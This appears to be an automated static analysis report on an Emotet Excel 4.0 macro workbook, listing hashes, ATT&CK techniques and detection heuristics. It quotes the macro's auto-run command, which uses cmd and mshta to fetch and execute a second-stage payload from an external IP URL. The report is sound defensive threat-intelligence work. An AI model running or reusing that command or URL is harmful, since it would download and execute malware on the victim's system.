Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 e147d79507f26f5c…

MALICIOUS

Office (OLE) / .XLSX

154.8 KB Created: 2022-01-27 11:58:35 Authoring application: Microsoft Excel
MD5: a20275c3235bd33252ce375628b52d49 SHA-1: 8b020ceaa8be302edb5ba2c24cc82605378ade06 SHA-256: e147d79507f26f5c5e72eebe0551cfca64e2675e91537385e0ab61bdaa634829
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.001 PowerShell T1218.004 Client Execution

The sample contains Excel 4.0 macros, specifically an Auto_Open function, which is a known technique for executing malicious code. The macro is configured to run 'cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html', indicating it downloads and executes a second-stage payload from the provided URL. ClamAV detection further confirms its malicious nature, identifying it as Emotet. The presence of mshta.exe and the URL structure are consistent with Emotet's typical delivery methods.

Heuristics 8

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Xls.Downloader.Emotet-a5251d1d2d6d3726-9951018-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-a5251d1d2d6d3726-9951018-0
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.240.118.168/qqqw/aaas/se.htmlB
    • http://91.240.118.168/qqqw/aaas/se.html

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
ed8983cfed67fcfa9f517c83d0e90708284a746a25a311cb284638eaeddfa242
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3733 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.